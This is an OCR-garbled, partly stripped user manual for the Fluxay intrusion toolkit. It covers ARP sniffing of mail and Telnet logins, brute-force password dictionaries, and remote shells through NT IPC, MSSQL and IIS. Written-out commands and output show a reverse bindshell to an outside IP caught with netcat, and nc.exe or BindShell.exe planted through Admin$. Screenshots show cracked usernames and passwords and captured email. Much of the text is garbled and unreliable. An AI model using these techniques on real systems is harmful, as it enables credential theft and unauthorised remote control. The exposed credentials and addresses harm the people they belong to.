BErowse

Lse Single.IMNI

| cancel |

Add Suffix to Username

Double Username

- john->johnjohn

Reverse Username

jJjohn->nhoj
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Suffix File

Use Single.INI Single.INI,
5.3.3
0123456789
0123456789
0123456789
3 (000-999)
*_sch
5.4
5.4.1
5 ARP
ARP
100M
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ARP

Linux ARP Sniffer

5 ARP Sniffer

Win32
ARP Sniffer
54.2
1P 192.168.0.1-192.168.0.255
192.168.0.1 DMZ 192.168.2.1-255
192.168.0.16
ARP Sniffer

[Tools]->Remote Sniffer->Remote ARP Sniffer ALT+S

Connect Remote Met ARP Sniffer |

=E .

%!é)xm |w24mﬂ45 Park: |ua

[ Work Offline Connect | | Eat |

IP 192.168.0.16 1122
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5
5.4.2.1
Settings |
|Realkek RTLE133(A)-based PCI Fast Ethernet Adapter |
Start IP: |192.15=3.n.1 End IP: 192,163,0,255
Gateway: |192.168.0.1
Protocal IF'-LL j Reverse 1 Receive if Ic.:.ntain vI Keywords
Protocal | Paort | Type |ﬂ
[l rors 110 TCP
[ st 25 TCP
O tute 114 TCR
] TELKET 23 TCP
M =reHFe n T ll
Buffer: |4I]96 Packets For each Kewword, Seperate with ()
Log File: ISniFFer..ﬁ.NSl I [ OF ] [ Cancel ]
192.168.0.1-192.168.0.255
DMZ POP3  SMTP
192.168.0.1
SMTP  POP3
3324 SMTP 354 1FHEEE - go ahead
[ s [smme Message 1T i .
Save Packet As..
I
3324 SMTP 250 ok 1044432211 gp 87710
3324 SMTR THEs
3324 SMTP il
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SMTP MAIL
[Save Packet As] test.eml
Outlook Express MAIL
& Thanks =] E3

J File Edit Wew Tools Message Help

B @ B = X * ¥ I
Reply Feply Al Forward Prink Delete Brewvimls ek Addresses
From: kurbwana :ll
Date: 2003z A5 H 16:06
o =]
To: roci@z 1 cn,com |

Subject: Thanks

2

Dear all,

Paul would like to hold a internal kick—off meeting on February

18 (Tue)

at our Beljing Office in order to provide a zulldline for the
colleazes

in the company overall strategy.
Attached pls. kindly find the sessions will ke held, under Paul

NIER

5.4.2.2
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5
Settings |
|Realek RTLE135(A)-based PCI Fast Ethernet Adapter |

Skart IR |192.168.D.1 End IP: 192,163.0,255
Gateway: [192.168.0.1

Protocal IF'-LL j Reverse Receive if Ic.:.ntain vI Keywiords

Protocal | Fart IType I:I LISER;PaSS|

COFTP Contral 21 Top

Flrors 110 TCP

O amte 25 TCP

O tmTe 113 TCP

C1TrIRET 27 Tre j

Buffer: |4I]96. Packets For each Kewvword, Seperake with ()
Log File: ISniFFer..ﬁ.NS I [ oF; ] [ Cancel ]
“USER;PASS” User

Pass
Telnet “ Login Password”’
110 POP3 7
[ |10 |
[ (110 |
5.4.2.3

192.168.0.10 Sun0S Sun0S
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5
192.168.0.10
Settings |
|Realkek RTLE133(A)-based PCI Fast Ethernet Adapter |
Start IP: |192.15=3.n.1 End IP: 192,163,0,255
Gateway: |192.168.0.10
Protocal IF'-LL j Reverse 1 Receive if Ic.:.ntain vI Keywords
Protocal | Paort |T3.f|:ue |ﬂ IJSER;P&SS
Osmte 25 TCR
Ot 113 TCP
[#] TELKET 23 TCR
[ coPHER 70 TCP
Mer 104 T ll
Buffer: |4I]96 Packets For each Kewword, Seperate with ()
Log Fie: ~[Sriffer. ANS I [ ok ] [ Cancel ]
Telnet Telnet
2798 TELMET SUnCS 5.8
2795 TELMET 7 7login:
23 TELMET ?
2798 TELMET LU
23 TELMET ?
2795 TELMET LU
23 TELMET m
2798 TELMET mILUL
[ |23 | TELNET la |
2705 TELMET alluuLUL
23 TELMET [
2798 TELMET LI
23 TELMET |
2795 TELMET L
23 TELMET g
2798 TELMET sULLILL
23 TELMET r
2795 TELMET FLILILILL
23 TELMET W
2798 TELMET wLILLILIL
23 TELMET
2795 TELMET LI
2795 TELMET Passward:
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mailsrv Telnet

5.4.3

5.4.3.1

[Setup_Dir]\Protocol.INI

VPN

VPN TCP 1723

5.4.3.2

Skark l I Load ] I Refresh ] I Freeze ]

Load

Refresh

Freeze

g?) Stop

*E?J ARP
i
ARP

30 5

10
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P

vevrwr.rent Iy

ST
-5

551 NTCMD

NTCMD NT/2000 [Setup Dir]

NTCMD \\<IP> -U:Username —P:Password

Username Administrators

D:~Fluxay4>ntcmd ~~211.161.44.19 —-U:z1lui -P:=""

Hritten by Assassin, httpss-wuwu.netXeyes.com http: www.netieves.oryg

MTCHD >ver

Microzoft Windows 2888 [Uersion 5.80.217951

NTCHMD >

552 SQLRCMD

SQLRCMD MSSQL XP_CMDSHELL NT/2000
SHELL

SQLRCMD

[Setup_Dir]\SqIRCmd\SqIRCmd_Express

SQLServer

[Setup_Dir]\SqIRCmd\SgIRCmd_Normal

SQLServer
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SqIRCmd IP Username Password

Username Password SQL

D:~Fluxav4*~SglRcmd~SglRCmd_Expressrsglremd 127.8.8.1 za mma
========80QL Remote Command For Fluxay 28081 Expressz Uerszion H.

Connect to 127_08_.8.1 MSSQL server success. Type Command at Prompt.

SQLCMD >ver

Microsoft Windows 28088 [Uersion 5.80.21951

S QLCMD >

5.5.3 TCPRelay

TCP Replay TCP

TCPRelay ListenPort IP Port

ListenPort
IP 1P

Port

D:“Fluxay4~Tools>TCPRelay.exe 99 211 .180.6.134 23

99 99 211.100.6.134 23

(Telnet)

99
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& |Mozilla - telnet 127.0.0.1 99

Sun0s 5.7

login:

211.100.6.134 23

554 SRV

NCX99 99 CMD
SHELL

SRV

5.5.5 BINDSHELL

BINDSHELL SHELL SRV
BINDSHELL
BindShell Port SHELL
BindShell -R IP Port IP Port SHELL

D:“Fluxay4~Tools>hindshell —-R 18.32.4.17 6884

1P

1P BindShell
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tw~»nc -1 —p 6AAA
icrozsoft Windows 2808 [Uersion 5.88.21951
C(C) Copyright 1985-280A Microsoft Corp.

D:“Fluxay4~Jools>ver
ep

icrozsoft Windows 2808 [Uersion 5.88.21951

D:“Fluxay4~Tools>_

SHELL
5.5.6 IPC
IPC

Pipes NT

[Tools]->NT/11S Tools->IPC Planter

IPC Planter

60

Hask IF: |211.151.43.149

setrnarme: |-EI'ZII'I'IiI'IiS'I"EI'5':'r Passwiord:

F**

Local File: |D:'LF'UX-EI';.-"q'II,TDDlS'l,BiI'IIjShE".E}'{E

Remate File: |.C'.|:|min$'l,systemSE'l,EindShell.exe

Cammand: |E=ind5hell.exe 99

Host IP 1P

Username

Password
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Local File

Remote File

Command

60

BindShell 99

= |Mozilla - telnet 211.161.43.149 99

Microsoft Windows 2088 [Uersion 5.88.21951
G 1985-2088 Microsoft Corp.

C:SUWIMNT »system32 uer

Microsoft Windows 2088 [Uersion 5.88.21951

C:UINNT “system32>

5.6

5.6.1

[Tools]->Dictionary Tools->Ultra Dict....
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wevrer.reet I erpen. o
.

5.6.1.1
UltraDict For Flux |
Setup | Elptin:-nl Save FiIeI Advance Elptin:nnl Schedulel
W Hiphs ¥ Num
E Letters Eﬁ Digitz
Alpha From I,&. "I To IE TI
Murn From IEI "I Tao IEI TI
™ Symbol [0x207082E]
0k, | Cancel I Apply Help
Alpha
Num
Symbol
3 2

aaa00

From A to Z, From O to 9
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5.6.1.2

]|

UltraDict For Flux

Setyp  Optian | Save FiIeI Advance Elptin:nnl Schedulel

[~ Upper First
[ Mum First
[T UszelF Space

[T User Conzanant Only

[T WoFRepeat

0k, | Cancel I Apply Help

Upper Case

Upper First

Num First

Use LF Space

User Consonant Only:
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wevrer.reet I erpen. o
.

5.6.1.3
UltraDict For Flux |
Setup I Option  Save File |.-’-¥.|:|vann::e Elptin:nnl Schedulel
Mo File Be Specified
] Spilt
Spilit [t |2_ ﬁ Fartz
0k, | Cancel I Apply | Help |
Browse
Spilit
5 92 158




veewr.reet ) epen.com
X

5.6.1.4

ultrabDict For Flux |

Setup I Elptin:-nl Save File  Advance Optian | Schedulel

—&lpha
ri1 #2 rz r+4 s W 7 [ &

— Mum

M1 Tz Tz T4 s TE M7 W&

— Syumbaol
Fri Fz F3 V4 Ts Te F7 Cs

I1ze Thiz Option to Generate Dictionarny

[ Usze Sehedule | E]

0k, | Cancel I Apply | Help |

Use This Option....

Use Schedule

Use This Option....

Use Schedule
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5.6.1.5

]|

UltraDict For Flux

Setup I Elptin:-nl Save FiIeI idvance Option  Schedule I

[ ifritting to Schedule File

|N|:u Scheme File Be Specified

Browsze. .

0k, | Cancel I Apply | Help |

Writing to Schedule File

Browse

5.6.1.6

OK
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Dictionary Properties |

5.6.2

Tools

Alpha: Iabcdefghijklmnu:upqrstuvwxyz Length: I 3 Bytes
Mum: | 0123456780 Length: | 2 Bytes
‘“whard Length: I S Bytes  Upper First: Im
Upper: Im Murn Firsk: Im
Symbaol: Im Word Space: Im
Consonant Cnly: Im File Size: Im
Dick File: I Di\Fluxay4itest dic  Repeat: Im
Reqular File: I Mo Scheme  Free Space: Im
Sample: | aaaln
Spilit Files I Jusk Cne File Start ]
Start

->Dictionary Tools->Chinese PinYin Regula

Chinese Pin¥in Regulation |

Phrase: |b,p,m,f,d,t,Ln,g.khigxzhchish,r,z,cs,my

Phrase

: IaJDJeJiJuJanJangjenjengjinjing,iang,inng,nn,nngjDujuujaujuajuejaijeijuijiujunjiajie

Phrase: |b,p,m,f,d,t,Ln,g,kh,j,0,x,zh,ch,shr,z,c,s,my

Phrase

' IaJDJeJiJuJanjangjenjengjinjing,iang,iung,un,ungju:uujuu:ujaujuajuejaijeijuijiujunjiajie

Phrase: I

Phrase: I

[ Single

[T Single

File: IND File Mame Be Specified

L |

o | [ el |
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veewr.reet ) epen.com
X

Limit 8 Characters

5.7

5.7.1

5.7.1.1

[Tools]->Fluxay Sensor tools->Manager Fluxay Sensor

EJ Manager Phusary Sensor, Gty Sersor Status, Rencrs Lireaachabie Sensor From List

Sensir Hos) | CortrodPort | Sermer Port | Status | Buld | St | PING | Remark |
o1 100842 Lo2 103 Unknown  Unknown  Unknown et S
i 1.3.0 202 3 Unknown  Unkrown  Unknown g2
:ﬂﬁl.ﬂ"l‘l.lﬂ. 141 404 S Linknowmn Unknown  Unknowmn L
gilﬂ.ﬂ?.lﬂ.ﬁ 404 -1 Uiriknowsmn Unknown  Unknown CHNET

Bemoyvs | Bdd |

=]

J [_coreet |
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[Detect]

ﬂJ Marsger Fluey' Sansor, Qusry Sereor Stabus, Benmcas Linkaachabie Sensor From List

Sensor Hisl | Cortred Port | Sen.., | Status Er [ alus | P | Riamar [
bl 211, 1008, 42 102 103 CiERR Ciok o Tk 00 2ims  RHEGITEE

=T RN N 202 e 1x ] (afle Al 4 - k= B0 2ms iR
ﬂﬁl.ﬂl.lﬂ.HL 44 ] (e {4 oar = Ik O30 Jms (L]

Bl 51 0.88.121.8 404 % CGERRSERR WA Paji, Sims  CMNET

[ew | (oo J[ o J[ e |

Status
C:ERR S:0OK
C:0OK S:ERR
XY
Build
Status IDLE 0/0 ;Scanning
x/y Yy X ;Stopping
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Remark
Sensor Remark
Remark:
[ (04 ] [ Cancel ]
Remove
Add
5.7.1.2

[About]->Check Update
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netxeyes

www.Net (Eyes.com

Sensor ##% 3 Build 093

1. BIETHHN, POERIFEE]
2. BIET T FHERIBH A P BAUR S R S R 71

FHEFENE [Fie.7] HEEERTHFuaySensor B RH, BEE%

2R Sensor.

[ Dor't Shaw This sWindow Again

[Setup_Dir]\FluxaySensor

[Tools]->Fluxay Sensor Tools->Update Fluxay Sensor

Update Fluxay Sensor
%}, Sensor I |211.1EIIII.6.42 ﬂ
Usertlame: |a|:|min Passward: |******

Contral Park: |1I32

IUpdate File: |D:'l,F'UXE‘:.fq'Il,F'LIXEI‘:.I'SEI'ISDr'l,F'LIxa‘:.-'SEI'ISDI’.EXE

| updste | | concel |
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Sensor 1P 1P

More

Username

Password

Control Port

Update File FluxaySensor.exe

5.7.1.3

[Tools]->Fluxay Sensor Tools->Remove Fluxay Sensor

Remove Fluxay Sensor |

{%&} Haost IP: |211.1|:u:|.5.134

MT Accounk: Iadministratnr Password; [k

Servicehame: ISEnsar|

Remove ] I Cancel ]

Host IP 1P

NT Account

Password

ServiceName
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5.7.2

5.7.2.1

[Tools]->Remote Sniffer->Manager ARP Network Sniffer

ARG Managenenk

g"‘ Mansger Arp Nebsork Sriffer Sensor

Lo
B Sensor [pubd [Pt | P From | End @ | Gateway 7L
il 127,001 0127 10Z2 Wrong Passwond

Bl 964139 Oosed 1022
Bl yinza766.057  Oosed 1522
2l 11.100010, 18 027 112 21.100.00.16 Z11.300,10,31 211,100, 1017 Tirnesca
Bl 01zt Oosed 1022
Bl o0z id  Oosed 1022
Bla 00020086 0127 1122 211.100.20.160 Z11.200,20, 151 210,100,20.161 Tirmeschuk
711, 167,67, 30 (T B TT.- T SN Z11.167.67, 255 211.167.62.1 Tirmeshuk
B 11,167 66,75 0127 1022 192,168.0.0 L2 168,0, 255 {40
TR F N COosed 1022

L__.EH.HI: | | ex |

[Detect]

Build
Port

IP From 1P
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End IP 1P
Gateway

TTL

5.7.3

5.7.3.1PCAnyWhere

PCAnyWhere

[Tools]->Misc Tools->PCAnyWhere Password Decipher

PCAnyWhere *_CIF
PCAnyWhere Possword 3|

Username: HIFIIEE

Password: }:9623.3

5.7.3.2 UNIX

UNIX Passwd

6.1

6.1.1 Advance Scan Wizzard

v
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ctri+w

6.1.2 New Project

v

cerl N

6.1.3 Open Project

v

ctrl O
v

*_FIx

6.1.4 Save Project
v

ctri+S
v

<. FlIx)

6.1.5 SaveProject As

v
ctrl+Shift+S

5
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*_FlIx

6.1.6 Last Project

v
N/Z7A

6.1.7 Recent Result (SubM enu)

6.1.7.1Recent Result

v
N/A

6.1.7.2Make Report

v
N/A

HTML

6.1.8 History Result (SubM enu)

6.1.8.1History Result

v
N/A
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History Decipher Report {275 Passwords) |

Lser Marne | Password | SErver | Park |*
%administratnr {Admin) <HULL = 219,237, IPiC o
%administratur {Admin ] <MULL = 219,237, IPC
%administratur {Admin ] <HULL = 219,237, IPC
%zhang weirnin {Admin) 1234 219,237, IPC
%zhang weirnin {Admin) 1234 219,237, IPC
%administratar {Adrmin ] <HULL = 219,237, IPC
%administratur {Admin] <HULL = 219,237, IPC
s mivn (i) 123456 219,237, P
s dell (Admin) <HULL = 219,237, IPC
%administratur {Adrnind “MULL = 219.237 . IPC |L|;|

|

Search

6.1.8.2Make Report

v
N/A

HTML

6.1.9 Import Result (SubMenu)

6.1.9.1Import Result

v

N/A
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Import Brute Result |

Prew Wersion Fluxay Directory:

I Browse I

[#] Filer Result

Browse

Filter Result

6.1.10Analysis Fluxay/FluxayShadow Result (SubMenu)

6.1.10.1 Fluxay/FluxShadow Result Anal&ysis...

v

N/A

/ (

http://www.netXeyes.org/snow.html)

6.1.10.2 Make Report
v

N/A

/ (HTML )

5 106
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6.1.11Analysis Fluxay Sensor Result (SubMenu)

6.1.11.1 Fluxay Sensor Scan Histroy

v
Ctrl+E
v
Fluxay Sensor History List |
% Hosk IP: I j Sensar Port: I
Lsername: I Password: I
Sensor Scanned Temporary Files | Date |
[ Remove l I Conneck ] I Close ]
( )
Host IP
More

Sensor Port

Username

Password

Remove

Connect

[Connect]
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5

Fluxay Sensor History List |

%Hnst IP: [210.83.121.6 j sensorPort; 505

Userrane: IrDDt Passward; I******
Sensar Scanned Temporary Files | Date |
[ 210,51.9,248-210,51,9.248.PTR 2002/ 12/26 22:09:45
[ 210,51.9,1-210,51,9,255.FTR ZO0Z112)26 2211927
T 202.101,139.129-202. 101,139,129, PTR 2002112)23 23:41:07
T 202,101,139.1-202.101, 139, 255.PTR 2002112)23 23:54:42
[ 192,168.1.1-192, 168.1.255.PTR 2002112122 19:16:11
1 192, 168.0.1-192, 168.0.255.PTR 2002/12)22 19:13:33

| Cose |

(e | [

Fluxay Sensor History List I

%Hnst IP: [210.83.121.6 j5en5m Port: 505

Username: IrDDt Password; I******
Sensor Scanned Temporary Files | Date |
[ 210,51.9,248-210,51.9.248,PTR 2002/ 12/26 22:09:45
[ 210,51.2.1-210,51,9,255.FTR ZO02M12)26 22127

202.101,139,12 . Open...
[ 202.101.139.1-202.101.139,
M 107.165.1.1-192.1658.1.255.F  ©pen and Remove...
[ 192.168.0.1-192.163.0.255.PTR 2002/12/22 19:13:33

Remove ] [ Conneck ] I Close ]

Open

( )

Open and Remove

Y
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5
6.1.11.2 Convert Fluxay Sensor PTR Files
v
Ctrl+E
v
C*.ptr)
6.1.120pen Report
v
N/A
v
Reports I
Reports | [Date |*
~#10,10,150.9-10,10,150,9, Kl 2003/02/11 15:44:01 —

et 10,10,152,176-10,10,152, 176, html  2003/02/14 15:53:00
et 10,192, 64,16-10,192,64, 16, html 2003/01/15 22:45:46
o2 100,16,100,1-100, 16,100,255, html - 2003/01 /22 15:23:25
o 100,16, 16.1-100.16, 16,255, html 2003/01/22 13:35:08
o 100,16,20,1-100, 16,20, 255, html 2003/01/22 13:40:43
e 100,16,24.1-100. 16,24, 255, il 2003/01/22 13:42:07
e 100,16, 28.1-100, 16,28, 255, html

nit 100,16,40,1-100,16,40,255, html 20030122 13:45:08
o100, 16,44, 1-100. 16,44, 255, html 2003/01/22 13:49:32 ;I

[Open]

HTML
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6.1.13EXxit

Alt F4

i

6.2
1

6.2.1 Edit

v

Space

6.2.2 Add (SubMenu)

6.2.2.1Add Host

v

Enter

Last.flIx
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6.2.

6.2.

6.2.

6.2.

.2.2Add

NZA

2.3Add

Enter

2.4Add

NZ/A

2.5Add

Enter

2.6Add

N/A

Host From List

User

User From List

Dictionary

Schedul

1P
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6.2.3 Remove (SubMenu)

6.2.3.1Remove User

v

DEL

6.2.3.2Remove All User

v
DEL

6.2.3.3Remove Current Host

v

DEL

6.2.3.4Remove All Hosts

v
DEL

6.2.3.5Remove Dictionary or Schedule

v
DEL

5 112 158



6.2.4 Import (SubMenu)

6.2.4.11Import From SMTP Host

v
NZA

SMTP

6.2.4_.21Import From IPC$ Host

v
NZA

IPC$

6.2.5 Export (SubMenu)

6.2.5.1Export to SQL Host

v

N/A

SQL

6.2.6 Exportto|PC Host

v

N/A
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6.3

6.3.1 Expand

v

Shift+E

6.3.2 Collapse

v
Shift+C

6.3.3 View Password

N/A

6.3.4 Sort

v
F2

IPC
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6.3.5 Refresh

v
F5

6.4

6.4.1 Single Mode Scan

v
Ctri+F7

6.4.2 Dictionary M ode Scan

v

ctrl+F5

6.4.3 Restore From Break Poit

N/A
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6.4.4 Port Scan

N/A

6.4.5 Detect Host OS

v
N/A

6.4.6 Finger User

v
N/A

Finger

6.4.7 Sun OSFinger Forward

v
N/A

(Sun0S SCO) Finger

6.4.8 Sun Solaris FTP Verify User

v

5 116

158



(SunOS)FTP

6.4.9 SMTP Expn User

v
NZA

SMTP EXPN

6.4.10Ememurate | PC$ User

v

ctrl+F9

1PC

6.4.11L ogon | PC$ Host

v

Ctrl+F10

1PC

6.4.12Advance Scanning

v
Ctril+A

117

158



6.4.13Base Scanning

v

Ctrl+R

6.5

6.5.1 Connect Option

v
N/A

6.5.2 System Option

v

N/A
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5

System Optioin |

— Threads
High &0
- _ -1 -

-

T

Priority Threads ‘Word/Thread

—Part

POP3:

HTTR:  fao

FTF: |? SMTP: E

[ Auko Adjust Threads

PROXY fBoa0  SQL:  [1433
oK ] I Cancel ]

( )

Priority

Threads

Word Thread:

Auto Adjust Thread

Port TCP

6.5.3 Dictionary Option

v
N/7A
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Dictionay Option |

Converk to Lower Case
] Corvert ko Upper Case

] Upper Case First

Cancel

1 add Suffis

( )

Convert to Lower Case

Convert to Upper Case

Upper Case First:

Add Suffix (*.suf)
6.5.4 Scanning Option
v
N/A
v
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\J
5

Brute Option |

[# Ernable Interrupt [# Popup Window When Crack

FTF Werify Suto Refresh

Eind Hask ko IP

Use HTTP1.1 Protocal (For HTTP and Prosy)

Disconnect \When Each Thread Done

&uta Log File

Log File: ID:'I,Fquay"r'l,Flux.Ll:ug Browse I
Scan Active Threads Every IlEIEI (ms Thread TimeCuk; IS

( )

Enable Interrupt

Popup Windows When Crack

FTP Verify: FTP

Auto Refresh

Bind Host to IP: 1P

Use HTTP1.1 Protocal: HTTP1.1

Disconnect When Each Thread Done:

Auto Log File

Log File

Scan Active Thread Every * ms 100ms

Thread TimeOut:

6.5.5 Single M ode Option

v
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Single Mode Option |
[ &dd suffix ta Username
[ Double Username

[ Reverse Username

Suffix File:

Erowse

[#] Use Single.INI CoE ] [ Zancel ]

( )

Add Suffix to Username

Double Username jJjohn->johnjohn

Reverse Username: john->nhoj

Suffix File

Use Single.INI: Single.INI

6.5.6 Ememurate | PC Option

v

N/A

IPC
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IPC Emenurate User Option |

] Emenurate all Users Limited |20 jl Users

] Add User From File If Emenurate Has Failed

Hhmame;IDﬂFanv4HPCLEtJNI Browse

[ Cancel ]
( )
Emenurate All Users
Limited * Users
Add User From File If Emenurate Has Failed:
Win9x/ME
6.5.7 TCP Network Option
v
N/A
v
TCP Socket
socket Option
Conneck TimeCuk: ISIIIIII s
Drata TimeCuk: ISIIIIIIIZI s
(C )
Connect TimeOut ( )}
Data TimeOut ( )
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5
6.5.8 Other
v
NZA
v

[+ Animate Window

I
I

Sl Fast

Makication Mail Content

Your Passward Is Too Simple To Guessed By Syskem Administrakar, The
Probe Tool is [Flux], Please Change Your Password As 300N As Posible!
Far Mare Infomation Abouk System Security Software [Flux], Please Yisit
HEtEp: [y, netkeyes, com,

( )
Animate Window
Notication Mail Content Mail
Mail

6.5.9 Language (Disable)

6.5.10Reset Default Options

v
N/A
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6.6

6.6.1 Dictionary Tool (SubMenu)

6.6.1.1Ultra Dictionary 111 - Fluxay Edition

v

ctri+H

6.6.1.2Chinese PinYin Regula

v
N/A
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wevrer.reet I erpen. o
.

5

Chinese Pin¥in Regulation |

Phrase:

Phrase: IaJDJeJiJuJanjangjenjengjinjing,iang,iung,un,ungju:uujuu:ujaujuajuejaijeijuijiujunjiajie

Phrase: |b,p,m,f,d,t,Ln,g,khyj,0,x,2h,chishyr,z,cs, iy

Phrase: Ia,n:n,e,i,u,an,ang,en,eng,in,ing,iang,inng,an,ang,n:nu,u::n,au,ua,ue,ai,ei,ui,iu,un,ia,ie

Phrase: Il:l.ll:l.l m.l I:.ld.lt.ll.ln.lg.l I{.l h.l j.l q.liZth:h.l sI-I.l r.l 2.l I:.ls.ll'll\l\'l.l Y

Phrase: Ia,u:u,e,i,u,an,ang,en,eng,in,ing,iang,inng,nn,nng,Du,uu:u,au,ua,ue,ai,ei,ui,iu,un,ia,ie

[ Limit 8 Characters [T | Single [ Simgle

File: Ir'-.h:u File Mame Be Specified [3 I (1] 4 ] l Zancel ]

Phrase

Limit 8 Charaters 8

File

?:

6.6.1.3English Regula

v

N/A
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wevrer.reet I erpen. o
.

5

English Regulation |

Phrase: o, 0, 0N, OF

I, 1,05 05,0k, 0, pl, pr sl,sr kb, bl

,E, L, 5,

Phrase: Iajar,au:u,au,an,ajejerjerrjeajeejei,ijir,iDJie,DJDr,DD,DiJDaJuJurjuejui,';.f

Phrase: Ial:u,eu;-3:-:1:1-Eu:ljeu:ll:IJ-EnFJaFFJen;hahJaljalljamjammjannj-fq:uj-aq:q:ujeu:h-ElrJas,al:Jeml:u,l:uljl:urjl:J

Phrase: Ia,ar,an:n,au,an,a,e,er,err,ea,ee,ei,i,ir,in:n,ie,n:n,n:nr,n:n:n,n:ni,n:na,u,ur,ue,ui,':.f

Phrase: Ial:u,au:,acc,ad,adeaF,aFFJagJahJaI,all,am,amm,ann,ap,app,aq,anas,at,av,l:u,l:ul,l:ur,u:,

Phrase: Ia,ar,au:u,au,an,a,e,er,err,ea,ee,ei,i,ir,iu:u,ie,u:u,u:ur,DD,:::i,u:ua,u,ur,ue,ui,y

[ Limit 8 Characters [~ Single [~ Single

File: Ir'-.h:u File Mame Be Specified [3 I (1] 4 ] l Zancel ]

Phrase

Limit 8 Charaters 8

Singlel

Single2

File

?-

6.6.1.4Combine Dictionary

v

N/A
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5
Combine Dictionary |

—Source File

Source File 1: r\h:l File Be Specified

Source File 2 r\h:u File Be Specified
—Dest File

Dest File: r\h:u File Be Specified
[ Limited ko & Charackers [ Cancel ]

( )

Source File 1

Source File 2

Dest File:

Limit 8 Charaters 8

6.6.1.5Spilit Dictionary

v
N/A

Spilit Dictionary |
Source File:! |

Option

Spilit inkao |2 ﬁ Farts ] Delete Source File

[ & characters Limited [ """"""" 0 I(] [ ancel ]

5 | Mo Effect When Source File Less Than 120K 158




wevrer.reet I erpen. o
.

( )

Source File

Spilit into * Parts (2-10)

0-9

Delete Source File:

Limit 8 Charaters

120K

6.6.1.6Edit Schedule File

v
N/A
v
Schedule Editor |
Il_ Ial:u:dethijklmncupqrstuvwxyz
IZ_ Ial:u:dethijlc:lmncupqrstuvwxyz
|3_ Ial:u:dethijldmnupqrstuvwxyz
I"r_ |a|:u:|:|ethinmnqurstuvwxyz
[ bizaaseras
& Dizasseras
jed |
|
Save As | Erowse
QI Zancel
( )
1-8 1-8
Save As
Open File:
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6.6.1_7Filter

v
NZA
v
—Source
|
—Dest
|
—Filker Opkion
[#] Covert ko Lower Case IIEFT_'HFF'- 'I
[ Exclude Symbal
[ Exclude Murm ? \:
( )
Source
Dest

Convert to Lower Case:

Exclude Symbol

Exclude Num

Sort

6.6.2 NT/I1STools (SubMenu)

6.6.2.1NT Pipe Remote Shell

v

N/A
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WindowsNT/Windows 2000

NT PIPE Shell

NTIPCIP:  [10.10.151.47]

User: wihale Password; [FHkksskok

Mote: Mo Splash Required

[ Connect ] [ it ]

( )
NT IPC IP NT/2000 1P
User
Password
Connect

lhritten by Assassin,. http:A2www . netleves.com http: Yvwu.netleves .org

MT CHD >uver

Microzoft Windows 2008 [Version 5.80.21951]

NT CMD >

6.6.2.211S Remote Shell
v

N/A

11S
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Select Remote Cnd |

115 Server: I192.168.D.1

Type: Femoke Execute Mothod &

allow T15 Detect CMD

( )

11S Server 11S 1P

Type UNICODE

Allow I1S Detect CMD 11S CMD

6.6.2.31PC Planter

v
Ctri+P
v
NT/2000
IPC Planter |
Haost IF: |192.153.|:|.1
Isername: Iadministratur ExsEmEra I*********
Local File: IE:'I.H-:.E!xe|
Remate File: I.ﬁ.dmin$'l,sy5tem32'l,nc.exe
Command: Inc.exe
i
¢ )
Host IP 1P
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User

Password

Local File

Remote File

Command

60

6.6.2.4Download NT SAM
v

N/A
v

NT/2000 SAM

6.6.2.5Upload NT SAM
v

N/ZA
v

NT/2000 SAM FTP

FTP

6.6.3 M SSQL Tools (SubM enu)

6.6.3.1Remote Shell

v
ctri+Q
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MSSQL

1 [Setup Dir]J]\SqIRCmd\SqIRCmd_Express
SQLServer
2 [Setup_Dir]\SqIRCmd\SgIRCmd_Normal

SQLServer

SQL Remote Shell |

Server: ||

Username: I Password; I

SQL Server Installed Console Made
l Connect ] [ Cancel ]
( )

Server MSSQL 1P
User MSSQL SA
Password
SQL Server Installed SQL Server

SQL

Console Mode

6.6.4 Define Mode File (SubM enu)

6.6.4_.1Scanning Single Mode File

4
N/Z7A

158




6.6.4_21PC$ Single Mode File

v

N/A

1PC

6.6.4.31PC$ Force mode File

v

N/A

1PC

6.6.5 Fluxay Sensor Tools (SubMenu)

6.6.5.1Install Fluxay Sensor

v

ctri+li

6.6.5.2Update Fluxay Sensor

v
NZA
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5
Update Fluxay Sensor ] |
% Sensar IP: |211.1IZIIZI.6.42 j
Usertlame: Iadmin Passward: I******

Contral Park: IlEIE

IUpdate File: ID:'l,F'U)(a‘:.fq'Il,F'UXEI‘:.-'SEI'ISDI"l,F'LIxa‘:.-'SEI'ISDI’.EXE

| Update | | concel |

( )

Sensor IP 1P

UserName ( )

Password

Control Port

Update File

6.6.5.3Remove Fluxay Sensor

v
NZA
v
Remove Fluxay Sensor |
%}. HostIP:  [192,168.0.1
MT Accounk; Iadministratnr Passwiord; Rk
ServiceMame: I'-.-'-.-'DS'-.-'C
Remove ] [ Cancel ]
( )
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Host IP IP

NT Account

Password

Service Name

6.6.5.4Manager Fluxay Sensor

v

ctri+M

6.6.6 Remote Sniffer (SubM enu)

6.6.6.1Install ARP Network Sniffer

v

Alt+1

6.6.6.2Remote ARP Network Sniffer

v

AIt+S

6.6.6.3Manager ARP Network Sniffer

v

NZA
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6.6.7 Misc Tools (SubM enu)

6.6.7.1PCAnyWhere Password Decipher

v
cerl+T

PCAnyWhere PCAnyWhere

6.6.7.2Get Username Form UNIX Passwd File

v
NZA

UNIX UNIX

6.6.7.3Mail to Victim User

v
N/ZA

6.6.7.4Set Encyption Key

v
NZA

1
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6.7

6.7.1 Fluxay 5 User’sManual

v
F1

6.7.2 Old User’s Manual (SubMenu)

v
N/A

6.8

6.8.1 About netxeyes
v

N/7A

netXeyes

6.8.2 About Fluxay

v
N/A
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6.8.3 Fluxay Forum

v

cerl F

6.8.4 WebSite

v
N/A

netxXeyes

6.8.5 Check Update

v
N/A

WEB

6.8.6 System BroadCast

v
N/Z7A
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7.1 [ROOT _Directory]

7.1.1 2.suf

7.1.2 2adic

7.1.3 3adic

7.1.4 3n.dic

7.1.5 3n.suf

7.1.6 4n.dic

7.1.7 brutedic
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7.1.8 brute.ult

7.1.9 chinesedic

7.1.10Cracked.pwd

7.1.11exploit_cn.rule

7.1.12exploit_en.rule

7.1.13Flux.Log

7.1.14Fluxay5Beta2.exe

7.1.151 pcDetail.I nf

1PC
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7.1.161pcList.INI

IPC

7.1.17ipcsingle.ini

1PC

7.1.18L ast.FIx

7.1.19Last.HIF

7.1.20L ast.pwd

7.1.211ibmySQL .dIl

MySQL

7.1.22MFC42.DLL

7.1.23M SVCP60.DL L
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7.1.24Name.dic

7.1.25netxeyes 0go.j pg

7.1.26Normal.dic

7.1.27normal .suf

7.1.28ntcgi.dat

11S CGI

7.1.29NTCmd.exe

NT NTCMD

7.1.30NTLMAuth.dll

NTLM

7.1.31password.Dic
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7.1.32PipeCmd.exe

NTCMD

7.1.33Private.Key

